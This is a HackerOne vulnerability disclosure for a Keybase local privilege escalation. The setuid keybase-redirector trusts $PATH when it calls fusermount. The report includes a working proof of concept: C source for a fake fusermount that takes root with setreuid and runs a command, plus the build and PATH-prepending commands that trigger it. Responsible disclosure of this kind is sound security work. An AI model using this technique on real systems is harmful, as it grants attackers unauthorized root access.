Keybase: Linux privilege escalation via trusted $PATH in keybase-redirector

2018-10-22T21:31:56
ID H1:426944
Type hackerone
Reporter mirchr
Modified 2018-12-18T20:11:53

Description

keybase-redirector is a setuid root binary. keybase-redirector calls the fusermount binary using a relative path and the application trusts the value of $PATH. This allows a local, unprivileged user to trick the application to executing a custom fusermount binary as root.

Environment

CentOS Linux release 7.4.1708 (Core) 3.10.0-693.17.1.el7.x86_64

RPM info Name : keybase Version : 2.8.0.20181017144746.3efc4cbf3c Release : 1 Architecture: x86_64 Install Date: Mon 22 Oct 2018 05:30:36 PM EDT Group : Unspecified Size : 273302678 License : BSD Signature : RSA/SHA256, Wed 17 Oct 2018 10:55:21 AM EDT, Key ID 47484e50656d16c7 Source RPM : keybase-2.8.0.20181017144746.3efc4cbf3c-1.src.rpm Build Date : Wed 17 Oct 2018 10:54:47 AM EDT Build Host : 6ae61e160e87 Relocations : (not relocatable) Summary : Keybase command line client Description : Keybase command line client An unprivileged user named user1 is used for this PoC.

Steps to reproduce

1) Display privileges of user 1 - execute the id command

[user1@localhost woot]$ id uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

2) Create a custom fusermount application. This PoC will create /w00t as root. Arbitrary commands can be executed.

``` cat >fusermount.c<<EOF

include <stdio.h>

include <stdlib.h>

include <sys/types.h>

include <unistd.h>

int main(int argc, char **argv) { setreuid(0,0); system("/usr/bin/touch /w00t"); return(0); } EOF ```

3) Compile fusermount.c

gcc -Wall fusermount.c -o fusermount

4) Verify that /w00t does not exist.

[user1@localhost woot]$ ls -ld /w00t ls: cannot access /w00t: No such file or directory

5) Prepend the PATH environment variable with a dot(for current working directory) and execute keybase-redirector which in turn will execute the malicious fusermount binary as root.

env PATH=.:$PATH /usr/bin/keybase-redirector /keybase

6) Enter the control-c sequence to kill the application.

[user1@localhost woot]$ env PATH=.:$PATH /usr/bin/keybase-redirector /keybase ^C

7) Verify that /w00t exists

[user1@localhost woot]$ ls -ld /w00t -rw-rw-r--. 1 root user1 0 Oct 22 16:34 /w00t [user1@localhost woot]$

Impact

Unauthorized root access is possible which impacts the confidentially, integrity, and availability of the system.